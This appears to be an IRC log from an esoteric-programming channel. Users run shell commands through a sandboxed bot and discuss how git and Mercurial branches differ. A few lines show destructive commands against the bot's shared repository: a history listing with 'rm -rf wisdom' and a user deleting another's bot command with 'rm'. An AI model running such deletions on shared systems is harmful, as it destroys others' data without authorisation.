ooodles of nooodls 04:48:58 * oerjan helpful 04:49:11 `` echo '\e[33mfoo' 04:49:12 ​\e[33mfoo 04:49:15 `run echo ooodles of nooodls 04:49:16 -!- navigaid has quit (Ping timeout: 250 seconds). 04:49:17 ooodles of nooodls 04:49:25 how do you show colours? 04:49:36 `` echo -e '\e[33mfoo' 04:49:38 ​[33mfoo 04:49:55 ``echo 'this has\x034colour' 04:49:56 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: `echo: not found 04:50:02 `` echo 'this has\x034colour' 04:50:04 this has\x034colour 04:50:08 `` echo -e 'this has\x034colour' 04:50:09 this hascolour 04:50:19 `` alias echo="echo -e" 04:50:20 No output. 04:50:32 `` echo "\e[33mfoo" 04:50:33 i don't think alias is going to work 04:50:33 ​\e[33mfoo 04:50:40 `` echo $HOME 04:50:40 ​/tmp 04:50:45 there is no persistent shell session 04:50:58 `` echo 'alias echo="echo -e"' > ~/.bashrc 04:50:59 No output. 04:51:05 `` alias echo 04:51:07 ​/hackenv/bin/`: line 4: alias: echo: not found 04:51:10 oh, and /tmp isn't persistent either 04:51:27 `` echo 'alias echo="echo -e"' >> /etc/bashrc 04:51:28 ​/hackenv/bin/`: line 4: /etc/bashrc: Permission denied 04:51:38 `` cat /etc/bashrc 04:51:39 cat: /etc/bashrc: No such file or directory 04:51:41 :C 04:52:00 i don't think you should change echo, anyway. 04:52:06 -!- gniourf has joined. 04:52:25 there are already scripts depending on it 04:53:21 actually, echo is a bash builtin isn't it, so you cannot really make it behave differently that way. 04:54:08 Every time you run a command, HackEgo boots up a virtual machine and runs your code in it. 04:54:52 i guess not having $HOME be in the repository part is a security feature. 04:57:50 shachaf: *boots* up a VM? 04:57:53 I doubt that 04:58:17 fsvo boots 04:58:35 I guess the VM doesn't literally pull itself up by its own bootstraps. 05:13:03 -!- coppro has quit (Ping timeout: 240 seconds). 05:14:50 -!- coppro has joined. 05:49:09 <\oren\> https://www.youtube.com/watch?v=HEXWRTEbj1I 05:49:57 -!- hppavilion[1] has joined. 05:58:04 -!- dnm has quit (Ping timeout: 240 seconds). 06:07:01 -!- Kaynato has quit (Ping timeout: 240 seconds). 06:23:37 -!- hppavilion[1] has quit (Ping timeout: 252 seconds). 07:09:08 -!- augur has quit (Remote host closed the connection). 07:10:06 `which perl 07:10:55 ​/usr/bin/perl 07:36:50 -!- Destructible has joined. 07:36:59 hello again 07:37:36 anyone? 07:37:43 boo 07:38:03 -!- hppavilion[1] has joined. 07:41:15 Destructible: hi 07:41:27 hi 07:42:13 shachaf: *boots* up a VM? <-- iirc, yes, pretty much. But more of a container kind of. It used User Mode Linux last I checked, which was a couple of years ago 07:42:22 -!- Destructible has quit (Quit: Page closed). 07:42:26 So it is not like starting vmware 07:43:15 Horpal 07:43:27 `? Vorpal 07:43:29 Vorpal is really boring. Seriously, you have no idea. 07:43:47 :( 07:43:53 I don't agree. 07:43:58 Well, I agree that I have no idea. 07:44:06 `hogue wisdom/vorpal 07:44:35 revert \ run rm -rf wisdom \ revert 0 \ run rm -rf wisdom/* \ Initial import. 07:45:19 Vorpal: Why does it say you're boring? 07:45:45 Ant mill :) 07:45:47 because he's not vorpal kick'asso maybe 07:45:55 @massages-load 07:45:55 oerjan said 3h 45m 27s ago: no, the page has been saved before, but the problem is that it _starts_ obeying the robots.txt of the squatters even for old content 07:46:13 `learn Vorpal writes software for boring machines. Really big ones. 07:46:19 oerjan: Oh, that's pretty stupid. 07:46:22 Relearned 'vorpal': Vorpal writes software for boring machines. Really big ones. 07:46:25 Vorpal: Oh, is that true? 07:46:28 I'm pretty sure robots.txts are not retroactive 07:46:30 You should talk about it in #trains. 07:46:42 shachaf: OH MY GOD 07:46:46 shachaf: THERE'S A #TRAINS!? 07:47:15 i can neither confirm nor deny the existence of #trains 07:47:42 hppavilion[1]: well the original intention was probably to allow someone to hide files that were exposed by accident. 07:47:53 Vorpal: Why does it say you're boring? <-- Ask ehird? 07:48:00 but then there was the original complication that owners of sites change. 07:48:06 *additional 07:48:10 stupid fingers 07:48:19 ehird hasn't been here for a long time. 07:48:24 At least by a nick that I recognize. 07:48:34 oerjan: That's kind of a stupid rule though. Squatters fucking things up is MUCH more likely than accidentally exposing a file that is THAT dangerous but completely unprotected otherwise 07:48:42 oerjan: well yes, my day to day job is boring unless you find hard real time cool (which I do) 07:48:48 shachaf: ehird? Any relation to h4gb4rd? 07:48:57 I should hope not. 07:49:19 Wait, don't /all/ programmers mostly work on boring machines? 07:49:27 shachaf: I write control software for really big mining machines. Autonomous ones. Drills holes that you put explosives in (for open pit mines) 07:49:51 Oh, not tunnel boring machines? 07:49:55 Nope 07:50:14 drilling is boring hth 07:50:16 The largest model weighs 200 metric tons. 07:50:34 Top speed of 5 km/h. 22 meters long, 30 meter high tower 07:50:42 bagger 288 bagger bagger 288 07:50:48 See, those are the kinds of facts that I bet #trains would enjoy. 07:50:54 Though I might be wrong. 07:51:16 hppavilion[1]: ehird's relation to hagb4rd is that he was probably the first to ban him hth 07:51:31 also, ehird = elliott 07:51:43 https://youtu.be/azEvfD4C6ow 07:51:46 Oooooooooooh that makes more sense 07:51:55 shachaf: these appear to be the electric version (see the massive cable?): http://www.coaleducation.org/technology/Surface/images/PV351-2.jpg 07:52:27 That is 1.5 kV 3-phase, and I forget how many amps. But quite a few 07:53:32 shachaf: also what is #trains about? 07:53:37 Trains I presume 07:53:42 but why did you mention it now? 07:54:16 It's about trains but I think they've talked about boring machines before. 07:55:07 right 07:55:13 I find trains pretty boring 07:55:38 semaphores are neat 07:56:20 oh yeah, I played OpenTTD, those were fun to mess with 07:56:42 Oh, train semaphores. 07:56:48 btw, wasn't it fizzie that proved OpenTTD to be turing complete? 07:56:55 or at least universal logic 07:57:26 http://zem.fi/2005-10-21-ttd-logic ? 07:57:32 ah yeah 07:57:46 so not tc then 07:58:00 more like TG 07:58:03 as in too good 07:58:12 Actually I have no idea, I never played OpenTTD. 07:58:16 I did play Factorio, though. 07:59:30 ooh, I haven't. It looks interesting though 07:59:39 Turing Compete 07:59:48 heh 07:59:50 i'd love factorio for android 08:00:08 myname: I'd love an android that could play factorio 08:00:22 myname: would the interface work though? it seems you need to click a lot of small things. Also the performance once the factory gets massive? 08:00:33 `? h4gb4rd 08:00:37 h4gb4rd? ¯\(°​_o)/¯ 08:00:45 Wait, I think shachaf `?d h4gb4rd earlier today 08:01:01 hppavilion[1]: eh I think it might work on a recent high end tablet. On a phone the interface would suck though 08:01:05 Oh, well, you wouldn't want to run the same read-only command twice. That would be botspam. 08:02:14 `learn h4gb4rd is a Scandinavian criminal currently serving tau consecutive life sentences at a yottamax prison buried beneath 4chan. 08:02:20 Learned 'h4gb4rd': h4gb4rd is a Scandinavian criminal currently serving tau consecutive life sentences at a yottamax prison buried beneath 4chan. 08:03:03 You should take a wisdom entry course from oerjan. 08:03:29 `? shachar 08:03:30 `? shachaf 08:03:32 shachar? ¯\(°​_o)/¯ 08:03:36 shachaf sprø som selleri and cosplays Nepeta Leijon on weekends. He hates bell peppers with a passion. The unit of fun punnery is named after him. 08:03:44 shachaf: Why? 08:03:47 Factorio even supports multiplayer. It's great. 08:03:58 (What's the inverse of `culprits, BTW?) 08:04:08 Because your wisdom entries would be improveed. 08:04:13 s/ee/e/ 08:04:23 my back tick key is stuck... it doesn't go down 08:04:24 wtf 08:04:29 :C 08:04:34 copy-paste it? 08:04:49 Vorpal: here, ^C: ` 08:05:20 I'll better remove the cap and check the mechanism below. the mechanism is complicated on this laptop though iirc 08:05:54 Do you ever find an xkcd and think "how could explainxkcd possibly say anything about this?" 08:05:59 e.g. http://xkcd.com/34/ 08:07:06 aha, a bit of hard material under the scissor mechanism ´´´``` 08:07:44 You've fixed it? 08:07:51 yes 08:08:24 `ǹicé´ 08:08:25 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: ǹicé´: not found 08:08:26 shachaf: pried the debris out with a needle, since I couldn't remove the mechanism itself due to the way it was stuck by the debris 08:08:33 Oops. 08:08:47 hppavilion[1]: now you made me check explainxkcd for that one 08:08:51 How many debris were there? 08:10:06 Hm what is the singular of debris? 08:10:18 I guess it is uncountable 08:10:19 debri 08:10:35 debris floating in de breeze 08:10:45 My spell checker doesn't like debri at least 08:10:51 Yes, I made it up. 08:12:37 oerjan: is your good twin's full name professørjan 08:12:51 Hm anyone used hg-git? I don't want to learn git but I want to fork a project on github. I could fork it over to bitbucket, but then it would be harder to discover for other people looking if someone fixed this thing or not 08:13:21 And the original project appears to be somewhere between maintenance mode and straight up dead 08:14:07 I suspect learning git is easier than figuring out hg-git 08:14:11 <\oren\> debrises 08:14:53 shachaf: probably :( 08:15:03 <\oren\> git is a mystery inside an enigma, wrapped in a horrible user interface 08:15:05 shachaf: is there any good GUI for git? 08:15:22 <\oren\> there isn't even a good CLI for git 08:15:23 I'm not sure. 08:15:26 I would say that for learning a new version control system, something like TortoiseHg is great 08:15:35 There's some Tcl/Tk GUI but I don't know if it's good. 08:15:38 so something similar for git would be useful 08:15:53 Hmm, GitHub wrote a GUI for Windows, if you use Windows and GitHub. 08:16:08 Ah, https://git-scm.com/download/gui/linux 08:16:13 <\oren\> and it is awful 08:16:57 I just use the command line. 08:17:08 <\oren\> basically the only way to solve most problems is to copy the files you changed, redownload the repository, and then copy them back 08:17:30 shachaf: linux user here 08:17:41 \oren\: Are you talking about GitHub's GUI? 08:17:46 Or the Tk GUI? 08:17:59 shachaf: The UNIVERSE GUI hth 08:18:50 <\oren\> shachaf: the one from github. I used it a lot for my video game course's final project 08:20:25 Just use the command line tool. 08:20:43 I don't know why people say that git is so complicated. 08:20:47 <\oren\> it makes it easy to create various states that are "broken" and can't be fixed without either complex command line screwery, or by doing what I just said 08:21:10 I mean, the commands are unintuitive sometimes, but as long as you know what state you're in and what state you want to be in, you can usually figure out what to do. 08:21:14 -!- Akaibu has quit (Quit: Connection closed for inactivity). 08:21:39 <\oren\> shachaf: the issue is that there are far more states than in other VCS's 08:21:48 And it's almost impossible to accidentally lose data (once you've committed it) or get into a state that you can't recover from. 08:21:51 There's always the reflog. 08:21:53 shachaf: no hth 08:23:00 \oren\: I made some pretty embarrassing git mistakes in the past. 08:23:38 But you just need to get a reasonable mental model of what the commit graph looks like. 08:24:00 I think it's pretty similar to hg but I haven't used hg very much. 08:27:01 <\oren\> in particular git could do without the entire concept of stashing 08:27:01 `learn The English, the English, the English are best; / I wouldn't give tuppence for all of the rest. 08:27:42 I think stashing is pretty useful. 08:27:51 <\oren\> and staging 08:27:55 But if you don't like it you don't have to use it. 08:28:12 <\oren\> shachaf: that's not what I've experienced 08:28:27 Stashing? That's an entirely local thing. 08:28:35 Don't run "git stash" and you don't have to deal with stashes. 08:28:57 I mean, the commands are unintuitive sometimes, but as long as you know what state you're in and what state you want to be in, you can usually figure out what to do. <-- I'm used to using hg. Used it for ages. 08:29:12 From my understanding branches in git are quite different than branches in mercurial though? 08:29:38 Maybe. What are branches in Mercurial? 08:30:22 <\oren\> staging could be entirely done away with. it has no purpose it seems, other than to increase the number of states my working copy can be in 08:31:01 <\oren\> this goes for svn too 08:31:42 each commit belongs to a branch. You can at any point create a new branch from a given commit, by specifying a new branch name in the commit. You can only push (ignoring --force) if each named branch only has one head. Otherwise you have to merge in that branch so that you only have one head. 08:32:04 If you want more than one head, use a named branch 08:32:30 It looks like a git branch is roughly equivalent to an hg bookmark? 08:32:50 Hm, I haven't used hg bookmarks. Not directly at least 08:33:07 I think mq uses them internally. It is like an easily movable tag? 08:33:17 I think so. 08:33:32 Does an hg commit (if there is such a thing) "belong" to a branch in some sense? 08:33:46 shachaf: Does a puddle "belong" to the rain? 08:33:54 In git you just have a graph of commits, where each commit beyond the first has one or more parents. 08:34:07 A branch is just a file that has a commit hash in it. 08:34:10 * hppavilion[1] is a wise Jewddhist master 08:34:20 shachaf: and having multiple heads is okay and won't cause complaints when you push? 08:34:28 What are multiple heads? 08:34:39 "Bookmarks can be used as an alternative to NamedBranches for tracking multiple lines of development. Systems like Mercurial, CVS, and Subversion store their branch information as a permanent part of each commit. This is useful for future auditing of long-lived branches, as it's always possible to identify which branch a commit was introduced on. Git, by contrast, has "branches" that are not stored in h 08:34:39 istory, which is useful for working with numerous short-lived feature branches, but makes future auditing impossible. Mercurial's bookmark feature is analogous to Git's branching scheme, but can also be used in conjunction with Mercurial's traditional named branches." 08:34:45 okay, makes sense 08:35:01 shachaf: a head is a commit with no children. The tip of the history. 08:35:37 When you `git gc`, all the commits that aren't reachable via branches (or tags, which are effectively immutable branches) are deleted. 08:35:37 You can end up with multiple heads, which you then either merge or rebase. 08:35:45 heh 08:35:56 how weird 08:36:02 so it just strips part of the history 08:36:12 shachaf: you can't move a tag in git? 08:36:13 Well, it's not the history of anything that you care about. 08:36:24 It's a faux pas. 08:36:39 You can in hg, since the tags are just a bunch of revision IDs and names in a file .hgtags in the root of the repo 08:36:49 Just append a new line overriding the old tag 08:36:56 -!- MDude has changed nick to MDream. 08:37:11 I understand what a head is, but what do you mean by multiple heads? 08:38:14 shachaf: well if you have more than one commit that has no children, in the same named branch, you don't have a clear "most recent" tip in that branch. Okay? 08:38:24 Oh, I see. 08:38:29 In git a branch is just a head, I guess. 08:38:50 I guess in git the gc command would get rid of it? 08:38:54 (Well, it might have children, but they're not visible from the branch.) 08:38:58 which sounds dangerous 08:39:11 -!- MoALTz has joined. 08:39:31 A GC should never delete anything that you care about, because you can just keep a GC root referring to it. 08:39:52 right. but that sounds complicated 08:40:07 I don't know how you'd end up in that situation, really. 08:40:07 When would you end up with stuff you don't care about anyway 08:40:21 Well, maybe you rewrote history to squash some commits together. 08:40:36 Or maybe you deleted a branch. The contents of the branch are still available until you GC. 08:40:43 shachaf: I assume you can't rewrite history you already pushed? 08:40:55 Or delete a branch that is pushed 08:41:26 Well, you can do whatever you want, but you generally shouldn't push changes to a remote branch that aren't descendants of it. 08:41:42 You can delete a branch that you pushed. You can always recreate it by getting the remote branch. 08:41:45 -!- MDream has changed nick to MDude. 08:41:49 In hg each commit has a phase: secret, draft, public. As soon as you push (or someone pulls from you) the commit is set to public. You can force change it back to draft, but that is a faux pas that could lead to all sorts of headaches down the line. 08:42:11 You can only perform history editing on draft commits. Oh and secret commits are excluded from being pushed or pulled 08:42:20 otherwise secret and draft are the same 08:42:24 commits default to draft 08:42:48 A git branch is literally implemented as a file: A branch foo is a file .git/refs/heads/foo containing a sha1 hash. 08:42:56 Hm 08:43:10 I guess there's no equivalent state to keep track of for whether a branch has been pushed or not. 08:43:12 Can't say I know how hg implements all that stuff. Don't need to deal with it normally 08:43:27 Hm 08:43:36 Well, if you prefer, "branches" are just a key-value map : String -> SHA1 08:44:18 If you try to push something to a remote branch that isn't a descendant, you'll get an error if you don't force-push. 08:44:53 Fair enough 08:45:22 still it seems that git and hg have quite different models. Resulting in very different idiomatic ways to use them 08:45:37 That sounds a bit more plausible now. 08:45:49 yeah 08:47:43 shachaf: is there anything like MQ in git? It is basically a version controlled way to have local commits that you work on, and update. Possibly merging several of them, reordering and so on 08:47:59 But the great thing is that you version control the "patch queue" as it is called 08:48:14 Meaning you can go back to an earlier state of your local unpushed commits 08:48:14 "MQ is rarely needed for new Mercurial users. If you're used to it and you like it, by all means, keep using it. But if you are learning Mercurial, instead use modern tools, such as hg rebase, hg histedit, hg graft, hg strip, hg strip --keep, and hg commit --amend. Check the documentation for each of these commands." 08:48:25 Those "modern tools" sound very similar to git tools. 08:48:33 For example git rebase and git commit --amend 08:48:46 shachaf: yeah I know, but I like that MQ allows me to version control my history editing. I don't think the more modern tools do 08:49:17 Well, you can always keep a branch referring to your pre-history-rewriting commit. 08:49:24 But I guess that's more manual than you like. 08:50:07 well mq is semi-manual. You have to remember to commit the current state of the queue. But other than that, it takes care of itself until you need to revert it, at which point it is a bit of work (but hopefully that is rare) 08:50:07 So there's the git reflog, which just keeps track of the states that a branch has been in. 08:50:14 ah neat 08:50:41 That's not an explicit commit, but you can ask "what commit was this branch pointing to X operations ago or at time Y". 08:50:46 shachaf: but I guess gc messes that up? 08:51:01 Those aren't GC roots so they might get collected, yes. 08:51:15 You can turn off GC if you like. 08:51:21 Normally it only deletes things over 30 days old, I think. 08:51:43 Hm, when you strip something in mercurial, it saves a bundle with all the commits you stripped in .hg/strip-backup or something like that 08:51:56 You could manually clean it, but it would never be auto-collected 08:52:30 `? hagb4rd 08:52:33 hagb4rd is one spacey fellow. Spaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaace. 08:52:36 But that is a non-issue, since stripping commits is a rare operation 08:53:00 Oh, you can disable GC for a particular branch's reflog. 08:53:30 I don't think this is intended for quite the same thing that you're thinking of using it for, but it could work, I guess. 08:53:31 well having it automatically "commit" on each operation is neat, I'll agree 08:53:33 `culprits wisdom/hagb4rd 08:54:18 int-e ais523 oerjan elliott Bike FreeFull ais523 ais523 elliott FreeFull Taneb 08:54:26 shachaf: basically I use mq at work when working on a large feature, it allows me to work all over the place and split the stuff into logical commits for each sub-feature or part touched. 08:54:33 `` ln -sf hagb4rd wisdom/h4gb4rd 08:54:42 shachaf: :( 08:54:52 oh 08:55:12 No output. 08:55:20 `? h4gb4rd 08:55:21 hagb4rd is one spacey fellow. Spaaaaaaaaaaaaaaaaaaaaaaaaaaaaace. 08:55:24 You can revert if you like. 08:55:32 I didn't like the other entry very much. 08:55:40 no, i thought you'd done it the wrong way. 08:56:13 anyway. 08:56:25 -!- oerjan has quit (Quit: Niiiiiiiiiiiiiiiiiiiiite). 08:56:53 shachaf: what about hg record? Allows you to select which part of a file to include in a commit. Basically asks for each "section" of the diff 08:57:10 useful if you realise you want to do something in two commits 08:57:10 git add -p, I think. 08:57:25 Or git commit -p 08:57:30 Or soemthing. 08:58:31 shachaf: how do I list outgoing/incoming changes before I push/pull so that I can check that I don't have stuff I'm pushing/pulling that I didn't intend to 08:59:21 hg out basically lists what would be pushed, if you were to push. Same for hg in and pulling 08:59:26 git pull does two things: git fetch, which fetches a remote repository's branches, and then git merge of the remote branch into the local branch. 08:59:50 You can do it manually. git fetch, and then (say you're on the branch master) you have the remote branch at origin/master and the local branch at master. 08:59:55 Then you can do whatever you want. 09:00:12 shachaf: so no way to see what git fetch would fetch without actually adding it to your local repo? 09:00:20 This is especially useful when pushing 09:00:23 Well, it doesn't modify your local branches. 09:00:30 okay sure 09:00:31 It just modifies your snapshot of the remote repository. 09:00:37 But the pushing case is more interesting anyway 09:00:55 I want to make sure I don't push, a commit "LOCAL: ADD DEBUG PRINTS" or something by mistake 09:01:04 Well, you can git fetch and then do whatever you want. 09:01:08 Hm 09:01:17 Examine your local master and origin/master, see the differences, etc. 09:01:22 And then push when you're happy. 09:01:33 Oh so fetching results in you getting an extra branch that represents the remote repo? 09:01:37 I guess that would work 09:01:52 Right. Well, you get a bunch of branches corresponding to the remote branches. 09:02:19 also that is a weird way to do it. So branches are local to the repository? 09:02:23 How strange 09:02:26 And the local branch you're pushing is presumably a descendant of a remote branch. 09:02:49 Yes, a branch is just a name for a commit. 09:03:10 Often you have a local branch that tracks a remote branch, but you can have private branches etc., no problem. 09:03:39 hm and I guess you can push a branch to the remote side, otherwise you couldn't create new branches on, say, github 09:03:48 Right. 09:05:47 It's a very simple model. If anything it's maybe too simple, so maybe sometimes you need to do strange things to get to the state that you want. 09:07:25 right 09:07:48 To me it seems hg's branch model is more sensible. And git's branch model, like hg bookmarks seems mostly pointless 09:08:06 I guess I should use hg sometime to figure out whether that's true. 09:08:55 @google hg branches vs git branches 09:08:55 https://felipec.wordpress.com/2011/01/16/mercurial-vs-git-its-all-in-the-branches/ 09:09:03 -!- clog has quit (Ping timeout: 246 seconds). 09:09:10 -!- clog has joined. 09:09:51 hm, https://felipec.wordpress.com/2012/05/26/no-mercurial-branches-are-still-not-better-than-git-ones-response-to-jhws-more-on-mercurial-vs-git-with-graphs/ 09:10:01 shachaf: also mercurial has a really kick ass GUI. TortoiseHg is *really* good 09:10:21 and of course opinions will differ 09:11:01 Of course. 09:12:19 "Repository structure: Mercurial doesn’t allow octopus merges (with more than two parents), nor tagging non-commit objects. 09:12:19 " 09:12:29 Whaaat? How do you merge with more than 2 parents? 09:12:37 That seems... terribly complicated? 09:12:45 I don't know that I've ever done it. 09:12:50 Most merge tools are 3-way 09:13:26 shachaf: I assume git supports external GUI merge tools? 09:13:38 Probably? 09:13:39 I personally use BeyondCompare (not open, nor free, but really really good) 09:13:47 http://www.gitguys.com/topics/merging-with-a-gui/ 09:14:46 Anyway a merge with more than two parents seems like it might be complicated to actually do, but what it is doesn't seem very complicated. 09:15:39 "Mercurial uses rename tracking, while Git uses rename detection to deal with file renames 09:15:39 " 09:15:46 shachaf: agreed 09:15:56 anyway what does it mean with rename detection? 09:16:07 I don't think there's an explicit notion of a file being renamed. 09:16:11 It doesn't track in the commit that a rename was from a specific file to another? 09:16:17 It's just a deletion and a creation. 09:16:35 A git commit is roughly just a snapshot of a directory tree. 09:16:38 That seems like it is a loss of useful information when doing merges with conflicts? 09:16:43 I guess that's different from hg. 09:16:48 Maybe it is, I don't know. 09:17:03 if someone moved the file I did changes in, how does it figure out to apply my changes to that other file instead 09:17:13 With rename detection, I guess? 09:17:33 Hm 09:17:45 seems more brittle if a lot of things changed in the file as well 09:17:51 It probably is. 09:17:55 or many files were renamed in the same commit 09:18:00 I've had issues with that occasionally. 09:18:42 But a git commit isn't a diff from the previous commit. It's just a snapshot of a tree. 09:18:53 There are one or more parent pointers, which you can use to compute a diff. 09:19:07 Ah 09:19:15 I guess a hg commit *is* a diff 09:19:27 internally I don't know if it is or not though 09:19:44 Well, it keeps track of rename information one way or another. 09:21:46 Anyway, now that you learned all these details, you'll have to try git out. 09:25:15 I don't understand why you would want to have more than one head in a branch. 09:25:44 I guess you just have different notion of what a branch is in hg. 09:26:09 All the work that goes into a feature, or something like that. You can put all your commits and things in it, and eventually clean it up when you want to merge/push. 09:28:51 I don't understand why you would want to have more than one head in a branch. <-- you don't. It is a temporary state after you pulled remote changes but before you rebased or merged 09:29:12 OK. 09:29:27 So it sounds like an equivalent of git's origin/foo in that case. 09:29:34 Where origin is the repository you fetched from. 09:30:47 shachaf: a branch in hg might be the work a different team is working on. It is for big changes. And it is for a release with only bug fixes (as opposed to "default" in hg / "master" in git) 09:31:14 it is usually not for something short lived 09:31:25 -!- Destructible has joined. 09:31:31 `? love 09:31:34 Baby don't hurt me, don't hurt me no more 09:31:55 hello 09:32:11 anyone 09:32:20 -!- Destructible has quit (Client Quit). 09:33:16 Vorpal: What do you do for something short-lived? 09:34:01 shachaf: Usually just having multiple heads, then merging it and pushing it. 09:34:12 OK. 09:34:22 Often I have a bunch of branches in my repository for various work I've done. 09:34:34 As I finish it I merge/rebase them onto master and push. 09:34:42 Is there an equivalent to that sort of thing? 09:34:56 I usually don't work that way. I normally work on one or two things at a time. I guess for you there could be bookmarks then? 09:35:14 Also you can have multiple MQ queues, but again I rarely use that 09:35:31 I don't think I ever used more than one MQ queue 09:35:46 OK. 09:35:54 Also at work I use Phabricator which has a completely different workflow. 09:36:07 It was developed at Facebook, which uses hg, so presumably there's a way to make it work there. 09:36:12 -!- Destructible has joined. 09:36:21 ?` people 09:36:21 Maybe you meant: v @ ? . 09:36:31 `? people 09:36:33 people? ¯\(°​_o)/¯ 09:36:40 `? sanity 09:36:41 sanity? ¯\(°​_o)/¯ 09:36:47 `? life 09:36:49 life? ¯\(°​_o)/¯ 09:37:04 `? brainfuck 09:37:07 brainfuck is the integral of the family of terrible esolangs. The name is a euphemism for "beef". bf -c -t "+>+++++>+++" | mklang --array 09:37:23 Please keep your read-only bot queries to /msg unless they're relevant to other people. 09:37:35 oh 09:37:40 shachaf: huh never heard of that one 09:37:55 phabricator that is 09:37:58 How do you do code review? 09:37:59 either way I did not know about /msg 09:38:20 Now you know. 09:38:40 -!- dnm has joined. 09:38:54 *some gimmick about knowing things and a positive thing being related* 09:39:21 so, anyway I reckon I'll add a page for my language idea, however 09:39:35 I'm going to post it on the ideas page, but 09:39:54 I'm not sure whether it would count as a derivative of brainfuck 09:41:13 Destructible: Good rule of thumb: If it could conceivably be a brainfuck derivative, don't even talk about it 09:41:29 but... 09:41:34 Destructible: Pretend that you never thought of it and step twice in the river of lice to atone for your sins 09:41:39 no 09:41:54 Destructible: I discussed this the other day 09:41:59 >>> sin(brainfuck_derivatives) 09:42:01 True 09:42:18 ok, I guess I'll just not post it as a derivative 09:42:29 Destructible: That's even worse 09:42:33 it features a tape of memory 09:42:36 and a pointer 09:42:39 How do you do code review? <-- at work? Part of the web software we use on our servers with hg and bug management and all that. 09:42:41 Destructible: Non-attribution is a heinous crime in this case 09:42:46 that is how it is similar 09:42:55 pretty much it 09:42:56 Destructible: And how is it different? 09:43:01 Which software? 09:43:02 shachaf: not phabricator though, different one 09:43:04 it has a stack 09:43:08 for one thing 09:43:09 Destructible: And? 09:43:20 bits instead of bytes 09:43:35 manipulating data happens with moving, instead of a seperate command 09:43:45 shachaf: Called FogBugz. I have never used any other proprietary one. It is okay I guess. 09:43:54 Oh, that one. 09:44:00 You know of it? Okay 09:44:10 Is this Kiln? 09:44:14 Yes 09:44:19 I think the review part is some add on though, not the standard kiln one 09:45:52 the main feature of the program is the fact that the only way to change any values not in a straight line (because if you move back to a previous point, all the bits return to previous value) is ) 09:46:09 (sorry about unclosed paren) 09:46:33 Code review is TG 09:46:41 to use the teleport function, which pops the top value of the stack and transports the pointer to that spot 09:46:44 shachaf: ? 09:46:47 too good 09:46:50 ah 09:46:55 I don't like GitHub's implementation of it via pull requests very much. 09:47:09 shachaf: oh? I should probably learn how those works btw 09:47:20 Which is a shame because so many projects use GitHub now. 09:47:47 I've historically refused to use pull requests. 09:47:50 shachaf: anyway, how did you come into contact with Kiln? 09:47:51 I just send people patches. 09:48:05 I never used it. 09:48:12 I think I read about it at hginit.com. 09:48:15 Ah 09:48:38 Which is half Kiln advertisement half hg tutorial. 09:48:55 the problem with a patch it might not be obvious where in the history it applies. And even if you figure it out you have to rebase/merge. Mostly an issue in a highly active project 09:51:03 Yes. 09:54:31 zeugmas must be a massive pain in the ass for translators 09:55:46 hppavilion[1]: why? 09:56:01 Vorpal: Because how do you translate such a thing? 09:56:05 I'll be back 09:56:09 -!- Destructible has quit (Quit: Page closed). 09:56:13 It loses impactfulness when you use different words 09:56:27 It's probably even worse for autotranslaton 09:56:31 *autotranslation 09:56:35 In fact, I'll test it now 09:57:46 ...Huh 09:57:49 It still makes some sense 09:58:40 It didn't change the key word, I guess 09:59:24 hppavilion[1]: why does it do that? You assumed I know what that language is? 09:59:48 I assume "zeugmas" is a language? Or is it a specific word? 09:59:49 Vorpal: Wat? 10:00:00 Vorpal: No, "zeugmas" is a linguistic technique 10:00:08 hppavilion[1]: okay, what does it mean then? 10:00:16 It's where a word is used only once, but has different meanings when applied to different parts of the sentence 10:00:18 For example 10:00:27 "You are free to execute your laws, and your citizens, as you see fit" 10:01:00 In this case, "execute your laws" means to enact the laws and "execute your citizens" means to state-sanctionedly kill them 10:01:00 ah 10:01:06 I think people call that zeugma but maybe it would more accurately be called syllepsis. 10:01:46 There's a famous song by Flanders and Swann that uses these things a lot. 10:02:19 It's clever but the subject matter is distasteful. 10:04:11 shachaf: Do you know the title? 10:04:21 Yes. 10:04:33 Ah, Have Some Madeira M'Dear 10:04:40 That was easy 10:05:15 If only there was some way for me to express the ease with which I found that... Some sort of... Button... 10:05:27 `rm bin/lmg 10:05:35 No output. 10:05:41 Too rude. 10:05:52 If it was in nice mode it might be excusable. 10:06:34 shachaf: It could pretty easily be made nice 10:08:06 I wonder why the Wikipedia page for that song says that it's about "seduction" rather than "rape". 10:08:57 https://en.wikipedia.org/w/index.php?title=Have_Some_Madeira_M%27Dear&diff=514192267&oldid=491132795 10:09:00 good edit 10:10:25 shachaf: Probably because it was intended to be about seduction at the time (1967, for cthulhhu's sake), and that was how it would have been interpreted contemporarily; culture has changed by now, I would say for the better if I wasn't too biased to judge, but if 1967 was different, it's more accurate to refer to it in the way 1967-ians would have seen it than how we now see it 10:10:59 Oh, come on. 10:11:04 Have you seen the lyrics? 10:11:30 shachaf: No, actually 10:11:52 shachaf: I got about 20 seconds into the YouTube video before I decided it probably wasn't my taste 10:12:44 zeugmatic or not? 10:12:58 shachaf: Correct? 10:13:19 Well, I'd suggest that you read the lyrics before jumping to defend that edit. 10:13:52 shachaf: That'd probably be best 10:14:04 shachaf: I was just pointing out cultural context 10:14:18 * hppavilion[1] degenerates into a slur of buzzwords 10:15:47 -!- xkapastel has quit (Quit: Connection closed for inactivity). 10:16:25 From tvtropes: "Plots, Characters, and Conflict are tropes, and literally no proper story can be told without them (whatever form they take)." 10:16:37 Challenge: Defeat TVTropes 10:17:35 Well, "plot" is just "what happens", so a story without a plot would be one where nothing happened. 10:18:08 shachaf: Yes 10:18:12 Characters are probably not necessary, if that means sentient characters, at least. 10:18:16 shachaf: I think characters is the only one you can really get away with 10:18:16 you can tell a story without conflict though I think. Though making it engaging might be harder 10:18:18 Conflict is probably not necessary. 10:19:00 Keith Johnstone talks about storytelling in his excellent book _Impro: Improvisation and the Theatre_ (and also his other book _Impro for Storytellers_). 10:19:03 But consider things like some gag-a-day comic strips. They might not have conflict all the time. 10:19:11 Sometimes they definitely though 10:19:19 do though* 10:19:37 though I guess you could argue that is not a story as such 10:48:10 -!- Phantom_Hoover has joined. 11:02:51 -!- idris-bot has quit (Ping timeout: 264 seconds). 11:05:36 -!- Melvar has quit (Ping timeout: 246 seconds). 11:07:59 -!- Melvar has joined. 11:17:46 -!- Destructible has joined. 11:17:52 hello 11:17:54 ? 11:18:00 `? rainwords 11:18:40 rainwords? ¯\(°​_o)/¯ 11:19:58 anybody 11:21:01 -!- boily has joined. 